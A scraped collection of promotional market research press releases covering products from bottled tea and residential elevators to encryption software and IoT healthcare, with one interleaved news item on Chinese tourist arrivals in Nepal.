Analysis, By Flavor Type10.4. Black Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202310.5. Green Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202310.6. Red Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202310.7. Oolong Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202310.8. Jasmine Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202310.9. Herbal Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202310.10. Fruit Tea Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202311. Global Bottled Tea Market Segmentation Analysis, By Sales Channel11.1. Introduction11.2. Market Attractiveness, By Sales Channel11.3. BPS Analysis, By Sales Channel11.4. HORECA Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202311.5. Modern Trade Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202311.6. Speciality Stores Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202311.7. Departmental Stores Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202311.8. Convenience Stores Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202311.9. Drug Stores Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202311.10. Online Retailers Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-202311.11. Other Sales Channel Market Size (USD Million), Forecast & Y-o-Y Growth Analysis, 2017-2023ContinueCheck for Discount@About KD Market InsightsKD Market Insights has come with the idea of helping business by intelligent decision making and thorough understanding of the industry. We offer a comprehensive database of syndicated research, customized reports as well as consulting services to help a business grow in their respective domain. At KD Market Insights, we offer our client a deep Market research reports accompanied by business consulting services that can help them to reach on top of the corporate world. Our customized reports are built by keeping all factors of the industry in mind.Contact Us150 State street, 3rd Floor,Albany, New YorkUnited states (12207)Telephone: +1-518-300-1215Email: - sales@kdmarketinsights.comWebsite: -Global Residential Elevators Market Size, Growing with a CAGR of 3.7% during 2019-2025: ThyssenKrupp, Otis, Mitsubishi, Hitachi, Cibes, Aritco, Stannah, Fujitec, RAM Manufacturing, Orona etc.

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Residential elevators are a type of elevators installed in residential. Residential Elevators include platform lifts, Cabin lifts and wheelchair lifts.As the arrival of population aging, residential elevators are more and more popular. Residential elevator is very helpful for the access solution of the disabled. It looks promising that the global revenue market of residential elevators is about 15.86 billion USD in 2023.GET SAMPLE OF THIS REPORT SPREAD ACROSS 108 PAGES AND 20 COMPANIES ATEurope is the largest and the most mature market, as there are many famous elevator manufacturers engaged in the home lift and platform lift market. Some manufacturer also exports residential elevators to other countries like China through these cooperative partners such as design and installation companies.China is the fast-growing market as the fast development of its real estate industry in the last several years. Though the growth speed is slowing since 2016, the residential elevator market is still enjoying a fast growth rate as the desire for better experience.The global Residential Elevators market is valued at 13900 million US$ in 2018 is expected to reach 18600 million US$ by the end of 2025, growing at a CAGR of 3.7% during 2019-2025.This report focuses on Residential Elevators volume and value at the global level, regional level and company level. From a global perspective, this report represents an overall Residential Elevators market size by analyzing historical data and future prospect. Regionally, this report focuses on several key regions: North America, Europe, China and Japan.FOR YOUR QUERIES, VISITThe Global Residential Elevators Market focuses on global major leading industry players providing information such as company profiles, product picture and specification, Manufacturing Base, Sales Area and its Competitors. Upstream raw materials and equipment and downstream demand analysis are also carried out.Key Players covered in this report are ThyssenKrupp, Otis, Mitsubishi, Hitachi, Cibes, Aritco, Stannah, Fujitec, RAM Manufacturing, Orona, Kone, Inclinator, Yungtay Engineering, Terry Lifts, Barduva, Yuncheng, Kleeman, Dongnan, Sigma, Canny Elevator.Residential Elevators Market is analyzed by types like Platform Lifts, Cabin Lifts, Other Lifts.Residential Elevators Market is also analyzed by Application like Private Home, Public Space.Table of Contents:1 Residential Elevators Market Overview2 Global Residential Elevators Market Competition by Manufacturers3 Global Residential Elevators Production Market Share by Regions4 Global Residential Elevators Consumption by Regions5 Global Residential Elevators Production, Revenue, Price Trend by Type6 Global Residential Elevators Market Analysis by Applications7 Company Profiles and Key Figures in Residential Elevators Business8 Residential Elevators Manufacturing Cost Analysis9 Marketing Channel, Distributors and Customers10 Market Dynamics11 Global Residential Elevators Market Forecast12 Research Findings and Conclusion13 Methodology and Data SourceCONNECT WITH OUR EXPERT RESEARCH TEAM TO BUILD CUSTOM RESEARCH ON THIS TOPIC BY CLICKING HEREAbout InForGrowth:We are a market-intelligence company formed with the objective of providing clients access to the most relevant and accurate research content for their growth needs. At InForGrowth, we understand Research requirements and help a client in taking informed business critical decisions. Given the complexities and interdependencies of market-intelligence, there is always more than one source to explore and arrive at the right answer. Through our smart search feature and our reliable & trusted publishing partners, we are paving way for a more simplified and relevant research.For all your Research needs, reach out to us at:Address: 6400 Village Pkwy suite # 104, Dublin, CA 94568, USAContact Person: RohanEmail: sales@inforgrowth.comUS: +1-909-329-2808UK: +44 (203) 743 1890EMI Shielding Material Market 2025: Geographical Segmentation Report | Laird Technologies, 3M Inc., Parker Hannifin Corporation, HEICO Corporation, and Simotec (Thailand) Co. Ltd.

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The research report, titled Global EMI Shielding Material Market Report 2025, offers a clear understanding of the subject matter. The report has been compiled using primary and secondary research methodologies. Both these methods are aimed towards collaborating precise and meticulous data pertaining the market dynamics, historical events, and the current market scenario. Furthermore, the report also includes a SWOT analysis that determines the strengths, weaknesses, opportunities, and threats impacting the segments of the overall market.Key players profiled in the report: Laird Technologies, 3M Inc., Parker Hannifin Corporation, HEICO Corporation, and Simotec (Thailand) Co. Ltd.Download sample copy of report @The EMI Shielding Material Market is characterized by the presence of a large number of global, regional, and local players and is highly-competitive. These international players are increasingly focusing on expanding their geographical presence and they have huge production facilities located across the world.The EMI Shielding Material Market report has been recently added to the Qurates database on the website, is a comprehensive and descriptive analysis of the worldwide market. It explains the market dynamics, scope of growth, and other elements of the market that have been impacting the marketing during its expansion in terms of gaining value and size. This research is a quantitative as well as a qualitative study aimed at offering clear view of all possible scenarios and structure in the Global EMI Shielding Material Market.Make an enquiry before buying this Report@Global EMI Shielding Material Market is research report of comprehensive nature which entails information in relation with major regional markets, current scenarios. This includes key regional areas such as North America, Europe, Asia-Pacific, etc. and the foremost countries such as United States, Germany, United Kingdom, Japan, South Korea and China.The Global EMI Shielding Material Market is also obtainable to the readers as a wholistic overview of the competitive landscape. It delivers a comparative analysis of the key players as well as regional segments, enabling readers to develop better understanding of areas in which they can place their standing resources and gauging the significance of a particular region in order to lift their standing in the Global Market.Ask For Discount @Table of Content:Global Global EMI Shielding Material Market Research Report 2019-2025Chapter 1: Industry OverviewChapter 2: EMI Shielding Material International and China Market AnalysisChapter 3: Environment Analysis of EMI Shielding MaterialChapter 4: Analysis of Revenue by ClassificationsChapter 5: Analysis of Revenue by Regions and ApplicationsChapter 6: Analysis of EMI Shielding Material Revenue Market Status.Chapter 7: Analysis of EMI Shielding Material Industry Key ManufacturersChapter 8: Sales Price and Gross Margin AnalysisChapter 9: Marketing Trader or Distributor Analysis of EMI Shielding Material MarketChapter 10: Development Trend of EMI Shielding Material Industry 2019-2025Chapter 11: Industry Chain Suppliers of EMI Shielding Material with Contact InformationChapter 12: New Project Investment Feasibility Analysis of EMI Shielding MaterialChapter 13: Conclusion of the Global EMI Shielding Material Market Research ReportAbout Us:Qurate Business Intelligence delivers unique market research solutions to its customers and help them to get equipped with refined information and market insights derived from reports. We are committed to providing best business services and easy processes to get the same. Qurate Business Intelligence considers themselves as strategic partners of their customers and always shows the keen level of interest to deliver quality.Contact Us:Nehal ChinoyRunwal Platinum,Ramnagar Colony, Bavdhan,Pune, Maharashtra, India-411021IN +919881074592info@qurateresearch.comCummins, Caterpillar Profiled in North America Gasoline Genset Market 2024 Report - Generac, Briggs & Stratton, Honda Motor, Kohler Power, Wacker Neuson, Atlas Copco, John Deere, Kirloskar and Honeywell & More

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MarketStudyReport.com Adds New North America Gasoline Genset Market 2018  2024 research report providing information and data By Power Rating, By Engine Class, By End-Use, Industry Analysis, Regional Outlook, Application Potential, Competitive Market Share & Forecast spreading across 148 Pages with table and figures in it.The residential gasoline gensets market is set to grow over 4% by 2024. Elevating consumer demand for these units may be attributed to responses to events including grid failures, rolling blackouts, power outages driven by adverse weather conditions etc. For instance 2017 being an extremely active Atlantic hurricane season, witnessed a remarkable surge in demand for these units as a result of hurricanes experienced in Texas, Florida, and Puerto Rico.Request a sample of this premium report at:North America Gasoline Genset Market will exceed USD 1.5 Billion by 2024. Growing consumer awareness, increasing power demand, fragile power grid infrastructure, and chronic power outages are among the most influential trends that will stimulate the industry growth. Rising number of power interruptions triggered by extreme weather conditions coupled with increased stringency of emissions norms will further influence the business landscape.The U.S. gasoline genset market is set to witness a growth of over 4% by 2024. Rising frequency and severity of weather-related disasters will encourage the product deployment across the country as an emergency power backup solution. As per a recent study by Edison Electric Institute, over 70% of power outages are caused on account of natural calamities in the country.The 2-3.5 kVA gasoline genset market is anticipated to surpass an annual sales of 0.8 million units by 2024. The capability of these generators to effectively fulfill consumer power necessities, predominantly across residential households will favor their penetration in the industry. Compact design, operational suitability and light weight are some of the key features that will propel the deployment of these units.Canada gasoline genset market will witness robust growth owing to growing risk awareness and increasing implementation of preparedness measures among consumers against natural disasters. Persistent power supply outages predominantly on account of freezing rain, high winds and sleet storms which cause damage to power lines and equipment will strengthen product deployment across the country.Request a discount on standard prices of this premium report at:Class I engines powered gasoline genset market will witness growth of over 5% by 2024. Shifting trends toward purchase of smaller units driven by growing awareness toward emergency preparedness will boost the product adoption. Smaller engines (class I and handheld engines ) has dominated the regional industry as a result to growing inclination toward lower power units.Notable participants operating in the North America gasoline genset industry include Cummins, Caterpillar, Generac, Briggs & Stratton, Honda Motor, Kohler Power, Wacker Neuson, Atlas Copco, John Deere, Kirloskar and Honeywell amongst others.Increasing dependence on electrical and electronic equipment to sustain the daily operations across a multitude of consumers will propel the North America gasoline genset market. Strengthening customer demand for zero downtime and better reliability will continue to drive the prevalent and sturdy adoption of these gensets.Table of content:Chapter 1 Methodology & ScopeChapter 2 Executive SummaryChapter 3 North America Gasoline Gensets Industry InsightsChapter 4 North America Gasoline Genset Market, By Power RatingChapter 5 North America Gasoline Genset Market, By Engine ClassChapter 6 North America Gasoline Genset Market, By End UseChapter 7 North America Gasoline Genset Market, By CountryChapter 8 Company Profiles-More Details on this Report At:Related Report:Global Gasoline Genset Market Growth 2018-2023A Gasoline Genset is configured for the production of electricity. Gensets are most commonly used where there is no local use for the heat and where there is no demand for a cogeneration configuration. Key drivers in the global Gasoline Genset market include increasing power demand, low initial prices of generators, and lack of adequate grid infrastructure.About Us:Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management.Contact Us:Market Study Report LLC4 North Main Street,Selbyville, Delaware 19975USAPhone: 1-302-273-0910US Toll Free: 1-866-764-2150Email: sales@marketstudyreport.comWebsite:Blog:IVD Services Market size to exceed $63 bn by 2024 Eminent Players  BioRad, DexCom, Nova Biomedical, OraSure, Pearl Pathways, Phenomenex, Qiagen, Roche diagnostics, Siemens, Sysmex and Thermofisher

In-vitro Diagnostic Services Market

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In-vitro Diagnostic Services Market size is set to exceed USD 63 billion by 2024; according to a new research report by Global Market Insights.Developments in diagnostic tests will enhance in-vitro diagnostic services industry growth over the coming years. Integration of advanced technology within the diagnostic devices should propel in-vitro diagnostic services market growth in the upcoming years. For instance, Phenomenex, a leader in developing diagnostic tests has added improvisations in the HPLC columns that enables free chiral screening service proving beneficial for performing diagnostic tests. Increase in technological advancements will enable automations in testing equipment utilized in the diagnostic procedures.Growing prevalence of chronic diseases such as cancer should have positive impact on the demand for in-vitro diagnostic (IVD) services. According to WHO, in 2015, there were around 8.8 million deaths globally due to cancer that will augment demand for IVD services. Also, as reported by World Cancer Research Fund International, there were around 1.4 million cases of colorectal cancer globally that will assure inflated demand for diagnostic services in forthcoming years. However, excessive cost of the diagnostic services and software utilized will restrain the industry growth.Request sample copy of this report @Testing services segment will grow at 5.7% over the forecast timeline and the high segmental growth will be attributed to the availability of superior quality in-vitro diagnostic services. Moreover, increasing mortality rates due to cancer and other viral infections should augment the business growth over forecast timeframe.Laboratories segment held an enormous market share of 29.3% in 2017 and is anticipated to follow high growth trends in upcoming years. Increase in rate of detection of diabetes cases in South African and Asian countries will augment the segmental growth and escalate the demand for in-vitro diagnostic services. Additionally, growing incidence of chronic infections such as HIV and others will ensure high demand for laboratory diagnostic services. According to U.S. Statistics, around 1.1 million people in the U.S. were infected with AIDS that will positively influence business growth.U.S. market accounted for 89.7% regional revenue share in 2017 and high business growth can be attributed to the increasing geriatric population suffering from chronic disease such as diabetes. As per CDC in 2015, around 30.3 million Americans were detected with diabetes that should upsurge the demand for diagnostic services in near future. Also, developments in healthcare infrastructure will positively impact the business growth.Make Inquiry about this report @Germany market was valued at USD 1.4 billion in 2017. Business growth in the country will be triggered by rising adoption of technologically advanced diagnostic devices. Also, availability of improvised quality diagnostic devices used in blood, urine and other infectious diseases diagnosis coupled with development of reimbursement scenario will stimulate industry growth over the coming years.Some of the prominent industry players operating in the BioRad, DexCom, Nova Biomedical, OraSure, Pearl Pathways, Phenomenex, Qiagen, Roche diagnostics, Siemens, Sysmex and Thermofisher. The key industry leaders will assure maximum profits by introducing innovative technology & devices into the industry. For instance, in October 2017, Roche Diagnostics received approval for Cobas, a Zika test used for accurate diagnosis of diseases. Development of such new tests will ensure profits for the firm.IVD services market research report includes in-depth coverage of the industry with estimates & forecast in terms of revenue in USD million from 2013 to 2024, for the following segments:IVD Services Market, By Service Type (USD Million) Softwareo Standalone Softwareo Software Updateo Others Testing Serviceso Infectious Testingo Diabetes Testingo Molecular Testingo Tissue Testingo OthersIVD Services Market, By End-user (USD million) Hospitals Point-Of-Care Testing Laboratories Academic Institutes OthersThe above information is provided for the following regions and countries: North Americao U.S.o Canada Europeo Germanyo Franceo UKo Italyo Spaino Russia Asia Pacifico Chinao Japano Indiao Australia Latin Americao Brazilo Mexico Middle East Asia & Africao Saudi Arabiao South Africao UAEGlobal Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Arun HegdeCorporate Sales, USAGlobal Market Insights, Inc.Phone: 1-302-846-7766Toll Free: 1-888-689-0688Email: sales@gminsights.comBlog :Soft Contact Lens Market Intelligence Report 2023: Cibavision, Johnson & Johnson, CooperVision, Fresh Look

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Soft contact lenses are used to correct the vision of the eye. These lenses are made of flexible and translucent soft water absorbing polymers (hydrogels) and a large amount of plasticizer. They are more flexible than rigid contact lenses and can be easily molded into the desired shapes. Soft contact lenses easily adjust to the eyeball compared to rigid gas-permeable lenses and provide comfort. Currently, the majority of patients with contact lenses are offered soft lenses of silicone hydrogel permeable to hyper oxygen. Not only are they used to correct ophthalmic disorders, such as myopia or hyperopia, but they also increase aesthetic appeal.Get Access to TOC / Sample Report @The increase in the prevalence of eye disorders such as cataracts, glaucoma and myopia drive market growth. In addition, the increase in the use of electronic devices such as television and computer, give way to different eye disorders. In addition, the increase of awareness through social media marketing and the convenience and convenience provided by soft contact lenses are the main concerns of a person changing from glasses to contact lenses.However, the presence of other ophthalmological devices and corrective procedures, such as photorefractive keratectomy (PRK) and laser, and the increased side effects of contact lenses such as eye infections and corneal ulcers restrict market growth. In the aging of the population, the improvement of the economy and the increase in disposable income throughout the world drive mainly the growth of the market and it is expected that these factors provide numerous opportunities for growth.Send Enquiry on this Report @The report segments the market according to the type of product, end user and region. Depending on the type of product, the market is divided into contact lenses for daily use, contact lenses for extended use, toric contact lenses, colored contact lenses (tinted), decorative contact lenses (cosmetic) and others. According to end users, the market is classified into hospitals, e-commerce stores, ophthalmological diagnostic centers and others. By region, it is analyzed in North America, Europe, Asia-Pacific and LAMEA.Major Companies: Bausch & Lomb Cibavision Johnson & Johnson CooperVision Fresh Look Biomedics Pce Automation Ltd Bible Opteq Co.LTD Medios CoSoft Contact Lens Market Key Benefits:The study provides an in-depth analysis of the global market for soft contact lenses, with current trends and future estimates to elucidate imminent investment pockets. It presents a quantitative analysis from 2016 to 2023 to allow interested parties to capitalize on prevailing market opportunities. The extensive analysis of the market by type of product helps to understand the various forms of soft contact lenses available. The key players are profiled and their strategies are analyzed in depth, which predicts the competitive perspective of the market.Browse More Information of Report @About Us:Allied Market Research, a market research and advisory company of Allied Analytics LLP, provides business insights and market research reports to large as well as small & medium enterprises. The company assists its clients to strategize business policies and achieve sustainable growth in their respective market domain.Allied Market Research provides one stop solution from the beginning of data collection to investment advice. The analysts at Allied Market Research dig out factors that help clients to understand the significance and impact of market dynamics. The company amplies clients insight on the factors, such as strategies, future estimations, growth or fall forecasting, opportunity analysis, and consumer surveys among others. As follows, the company offers consistent business intelligent support to aid the clients to turn into prominent business firm.Contact:David Correa5933 NE Win Sivers Drive#205, Portland, OR 97220United StatesToll Free (USA/Canada):+1-800-792-5285, +1-503-894-6022, +1-503-446-1141UK: +44-845-528-1300Hong Kong: +852-301-84916India (Pune): +91-20-66346060Fax: +1855550-5975help@alliedmarketresearch.comWeb:Encryption Software Market Growth Evolution 2018-2026 By Top Key Players: Microsoft Corporation, Symantec Corporation, IBM Corporation, EMC Corporation, Oracle Corporation and other

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Global Encryption Software Market Research Report 2026. The research report presents a comprehensive assessment of the Encryption Software market and contains thoughtful insights, facts, historical data, and statistically supported and industry validated market data. It also contains projections using a suitable set of assumptions and methodologies. The research report provides analysis and information according to categories such as market segments, geographies, type of product and deal landscapes.The encryption software market is anticipated to reach over $11,600 million by 2026 according to a new research report. In 2017, the BFSI segment dominated the global market, in terms of revenue. North America was to be the leading contributor to the global market revenue in 2017.Request for a Sample of This Report @Major Key Player:- Microsoft Corporation- Symantec Corporation- IBM Corporation- EMC Corporation- Cisco Systems Inc.- Intel Security- Check Point Software Technologies Ltd.- Oracle Corporation- Trend Micro Inc.- Sophos Group PLC.The growing need for protection of critical data, and increasing number of data breaches has boosted the adoption of encryption software. The rising penetration of mobile devices, and increasing trend of BYOD to primarily support the growth of encryption software market during the forecast period. Similarly, the rising adoption of virtualization, cloud, and big data analytics has also positively influenced the encryption software market growth over the years. Furthermore, increasing investments by vendors in technological advancements coupled with growing demand for cloud-based encryption software would accelerate the growth of this market during the forecast period. However, high costs and complexities associated with advanced encryption solutions, and lack of awareness among small and medium enterprises hinder the market growth during the forecast period. Growing demand from emerging economies, ad technological advancements are expected to provide numerous growth opportunities in the coming years.North America generated the highest revenue in the market in 2017, and is expected to lead the global encryption software market throughout the forecast period. The increase in number of cyber-attacks, and growing number of data breaches to drive this market growth in North America. The growing trend of BYOD, IoT, big data analytics, and virtualization necessitates the need of encryption software for data protection and data loss. The growing penetration of mobile devices, and technological advancements further support market growth in the region. The increasing spending on data protection in BFSI and defense sectors in the region further to also promote encryption software market growth in coming years. However, Asia-Pacific is expected to grow at the highest CAGR during the forecast period owing to growing need for data privacy across various industries in the developing countries of the region.For More Details about this report:About Polaris Market ResearchPolaris Market Research is a global market research and consulting company. We provide unmatched quality of offerings to our clients present globally. The company specializes in providing exceptional market intelligence and in-depth business research services for our clientele spread across different enterprises. We at Polaris are obliged to serve our diverse customer base present across the industries of healthcare, technology, semi-conductors and chemicals among various other industries present around the world. We strive to provide our customers with updated information on innovative technologies, high growth markets, emerging business environments and latest business-centric applications, thereby helping them always to make informed decisions and leverage new opportunities.Contact us-Mr. RohitCorporate Sales, USAPolaris Market ResearchPhone: 1-646-568-9980Email: sales@polarismarketresearch.comWeb:China emerged as the largest source market of foreign tourists to Nepal in January this year as the Himalayan country welcomed 15,343 Chinese tourists, Nepal Tourism Board (NTB) said on Tuesday.

India, traditionally the largest source market, came second with 14,650 tourists, according to NTB.

Kalyan Raj Sharma, managing director of trekking agency Adventure Outdoor, told Xinhua on Tuesday that the number of Chinese tourists began to rise ahead of the Chinese Lunar New Year that began on Feb. 5.

Winter used to be considered an off-season for Nepal's tourism in the past, when the country largely relied on Western tourists for visitor arrivals. "The landscape has now changed as growing number of Chinese and Indian visitors coming to Nepal in the winter. There is no off-season now," said Sharma.

Meanwhile, the Himalayan country welcomed a total of 91,793 foreign tourists in January this year, a 25.4-percent rise compared to the same period in 2018.

This has been encouraging sign for Nepal as the country is gearing up for the Visit Nepal Year-2020 with the target of attracting 2 million tourists in the year. In 2018 the Himalayan country received a record high of 1.1 million tourists, according to the NTB.

NTB Chief Executive Officer Deepak Raj Joshi said the growth in international visitor arrivals in the beginning of 2019 was possible because Nepal has continuously spread positive message internationally.

"This growth has encouraged us to work even harder to harness the strengths of both public and private sector in the days to come," he said, according to the NTB statement.

After China and India, Thailand came third, followed by the United States and South Korea in top five countries contributing the largest number of foreign tourists to Nepal in January.Wireless Mesh Network Market Share, Projection, and Trends by 2026 | Key Players: Cisco, Ruckus Networks, Firetide, Inc., Cambium Networks

Wireless Mesh Network Market

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The Global Wireless Mesh Network Market is projected to reach around $119.2 billion by 2026 according to a new research published by Polaris Market Research. In 2017, the smart cities and warehouses segment dominated the global market, in terms of revenue. North America is expected to be the leading contributor to the global wireless mesh network market revenue during the forecast period.The growing need for efficient and stable network performance, along with the ability of wireless mesh network to flexibly expand and increase performance has boosted growth of the wireless mesh network market. Furthermore, the rising penetration of mobile devices, and rising adoption of mobile-connected devices further support the growth of this market. Additionally, the increasing demand of wireless mesh network from small and medium enterprises has supported market growth over the years.Request for sample of this research report @Major key players: Ruckus Wireless Cisco Systems Aruba Networks Tropos Networks Strix Wireless Systems Pvt Ltd Firetide, Inc. Cambium Networks Qualcomm Rajant Corporation Synapse WirelessIncreasing investments by vendors in technological advancements, growing demand for wireless broadband services, and declining costs of connected devices would accelerate the growth wireless mesh network market during the forecast period. However, data privacy and security concerns are expected to hinder market growth. Growing demand from emerging economies, increasing adoption of IoT and smart grid applications are expected to provide numerous growth opportunities in the coming years.Wireless mesh networks are increasingly being used for environmental monitoring and precision agriculture. The farming industry is using automation and technology to increase profitability and reduce operating costs and the use of sensors in fields, tractors and vineyards for monitoring and management of farm operations has resulted in increased crop production and less resource wastage has also supported the wireless mesh network market growth in the recent past. Low frequency wireless mesh networks using sensor networks are deployed for environmental conditional monitoring, whereas high frequency wireless mesh networks are being used for tractor automation and precision agriculture and has increased the demand for wireless mesh network.Browse research summary of this report with TOC:North America generated the highest revenue in the market in 2017, and is expected to lead the global wireless mesh network market throughout the forecast period. The presence of established telecom and cloud infrastructure in this region, and growing trend of IoT drive the wireless mesh network market growth in the North America. The growing demand of mobile devices, and technological advancements further support market growth in the region. The use of smart technologies in energy and utilities, industrial automation, and intelligent buildings is expected to support market growth in this region during the forecast period.Snapshot Table of content-Chapter 4. Wireless Mesh Network Market Size and Forecast, 2017-2026 by Component4.1. Key Findings4.2. Physical Appliances4.3. Mesh Platforms4.4. ServicesChapter 5. Wireless Mesh Network Market Size and Forecast, 2017-2026 by Radio Frequency5.1. Key Findings5.2. Sub 1GHz5.3. 2.4GHz5.4. 4.9GHz5.5. 5GHzChapter 6. Wireless Mesh Network Market Size and Forecast, 2017-2026 by Mesh Architecture6.1. Key Findings6.2. Infrastructure Wireless Mesh6.3. AD-HOC MeshChapter 7. Wireless Mesh Network Market Size and Forecast, 2017-2026 by End-User7.1. Key Findings7.2. Smart Cities and Warehouses7.3. Healthcare7.4. Oil and Gas7.5. Education7.6. Defense and Law Enforcement7.7. Transportation7.8. Mining7.9. OthersMake an inquiry for purchasing this report @About Polaris Market ResearchPolaris Market Research is a global market research and consulting company. The company specializes in providing exceptional market intelligence and in-depth business research services for our clientele spread across different enterprises. We at Polaris are obliged to serve our diverse customer base present across the industries of healthcare, technology, semi-conductors and chemicals among various other industries present around the world. We strive to provide our customers with updated information on innovative technologies, high growth markets, emerging business environments and latest business-centric applications, thereby helping them always to make informed decisions and leverage new opportunities. Adept with a highly competent, experienced and extremely qualified team of experts comprising SMEs, analysts and consultants, we at Polaris endeavor to deliver value-added business solutions to our customers.Contact usMr. RohitCorporate Sales, USAPolaris Market ResearchPhone: 1-646-568-9980Email: sales@polarismarketresearch.comWeb:Drug and Gene Delivery Devices Market projected to increment at a substantial CAGR 2017-2025 : Johnson and Johnson Private Ltd, F. Hoffmann-La Roche Ltd, Bayer AG, Novartis AG, Becton, Dickinson and Company, and Pfizer, Inc

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Global Drug and Gene Delivery Devices Market: SnapshotThe world drug and gene delivery devices market is projected to be strengthened by the efforts taken to widen the bioavailability of drugs at target sites and improve patient convenience while formulating dosage forms. The drug and gene delivery devices industry could gain a bolstered growth in demand on the back of the advent of subdermal implants and other advanced drug delivery systems available in various arrangements such as patches and rings. The fruition of drug delivery systems could be credited to altering preferences by both healthcare professionals and patients.Some of the prominent advancements in the world drug and gene delivery devices market include the emergence of novel pulmonary instruments such as adaptive aerosol delivery (AAD) and Smartcard. The accessibility to sophisticated implants in customized sizes and shapes, inception of auto-injectors, and advent of biopharmaceutical classification systems (BCS) class II drug in oral dosage forms are anticipated to be other factors contributing toward the growth of drug and gene delivery devices.According to an insight of the world drug and gene delivery devices market, in situ could account for a larger share since most drugs currently approved are studied to act by the method. In situ is prophesied to be a faster growing market for drug and gene delivery devices because of the factor of performance ease. Another market, viral vector, could bring in ample of opportunities in the drug and gene delivery devices industry. This is estimated to take shape due to an over 60.0% of ongoing clinical gene therapy trials being dependent on viral vectors for transfection.Request Sample Copy of the Report @Global Drug and Gene Delivery Devices Market: OverviewThe changing preferences of physicians and patients in administration of medicines has been the primary growth driver for the global drug and gene delivery devices market. The increasing efforts to minimize the incidences of bacterial diseases, viral diseases, and developing novel ways of managing health conditions such as diabetes are have been the powerful factors determining the trajectory of the global market. Over the years, the global market has also benefited by the tremendous growth in gene therapy that has introduced treatment for a wide range of diseases. The global market is being driven by the introduction of auto-injectors, adoption of advanced implants, and development of advanced devices that have revolutionized drug and gene delivery.The detailed study includes an unbiased and deliberate take on the market dynamics and the various factors deciding its trajectory. The report is a tool for every reader and business enthusiast for making well-informed choices.Global Drug and Gene Delivery Devices Market: Trends and DriversThe various routes of administration available in the global market are ocular, injectable, transdermal, nasal, topical, oral, and inhalation. Of these, the oral segment held the largest share in the global market and is anticipated to continue its stance in the coming years. The ease and convenience of packing a prescribed dosage in an oral medication in the key growth driver for this segment. In the coming years, players are expected to focus on potency, safety, and quality of biotechnology agents.A rising pool of geriatrics, increasing number of diabetics, and technological advancements have also had a positive impact on the global market in recent years. The remarkable improvements in the healthcare infrastructure in developing economies has also been critical to the soaring earnings of the global drug and gene delivery devices market.Request TOC of the Report @Global Drug and Gene Delivery Devices Market: Regional OutlookGeographically, the global drug and gene delivery devices market is spread over Asia Pacific, North America, Europe, Latin America, and the Middle East and Africa. The report indicates that North America held a significant share in the global market and is expected show its dominance in the coming years. The well-established healthcare infrastructure, excellent funds for research and development activities pertaining to drug and gene delivery devices in the U.S., and increasing rate of diagnoses and awareness amongst patients are the pillars of the North America market. The strong foothold of North America drug and gene delivery devices market will also be attributable to the adoption of technology in the region.The report also points out that Asia Pacific will be the next big regional market in the overall market. The rise of Asia Pacific drug and gene delivery devices market will be due to the presence of several foreign players in the region, the emergence of medical tourism industry, and vast untapped market.Read Comprehensive Overview of Report @Key Players Mentioned in the Report are:The important players leading the way are Johnson and Johnson Private Ltd, F. Hoffmann-La Roche Ltd, Bayer AG, Novartis AG, Becton, Dickinson and Company, and Pfizer, Inc. Most of these companies are making significant investments to develop improved products in order to meet the ever-changing needs of the patients.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.comIoT Healthcare Market - Global Insights, Growth, Size, Analysis and Forecast 2019-2025 by Cerner Corporation, Infosys Limited, Microsoft, PhysIQ, Proteus Digital Health, IBM, Philips, AdhereTech Inc, Apple Inc

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The Global IoT Healthcare Market pertaining to the value that it offers considering the data obtained from both primary and secondary research. It has been aggregated on the basis of different dynamic aspects of the businesses. The deployment of IoT based solutions across the industry is anticipated to bring in high degree of automation, reduce operating costs and enhance the decision-making process. Dependency of healthcare on IoT is increasing day by day to improve access to care, enhance the quality of care, and most importantly to limit the cost of care.The global IoT healthcare market size is expected at a CAGR of +20% over the forecast period 2019-2025.Different sales strategies have been elaborated to get a clear idea for getting global clients rapidly. It helps various industry experts, policymakers, business owners as well as various c level people to make informed decisions in the businesses. It includes the massive data relating to the technological advancements, trending products or services observed in the market. Many technology companies have now entered the IoT Healthcare Market after realizing the strong potential growth of this particular market.Get Sample Copy of this Report @Top Key Vendors in Market:Cerner Corporation, Diabetizer Ltd. & Co. KG,Infosys Limited, Medtronic Public Limited Company, Microsoft, PhysIQ, Proteus Digital Health, IBM, Philips, AdhereTech Inc., Aeris, Apple Inc., Castlight Health, Cisco Systems Inc. amongst others.This report provides an in-depth analysis of the IoT healthcare market across the type of medical devices, systems and software, connectivity technologies, services, applications, end users, and regions. IoT in healthcare systems and software consist of remote device management, network bandwidth management, data analytics, application security, and network security. IoT healthcare market report includes market analysis of connectivity technologies, such as Wi-Fi, BLE, NFC, ZigBee, cellular, and satellite. Healthcare applications of IoT have also been considered in the report.All the key factors are provided that attracts the market towards its growth. The report also enlarges on the opportunities of the emerging markets of North America, Europe, Middle East & Africa, Asia Pacific and Latin America. Various regions, manufacturers, and types are considered to analyze the production, capacity, and revenue of the IoT Healthcare Market.Early buyers will receive up to 10% Discount on this report @Market segment by 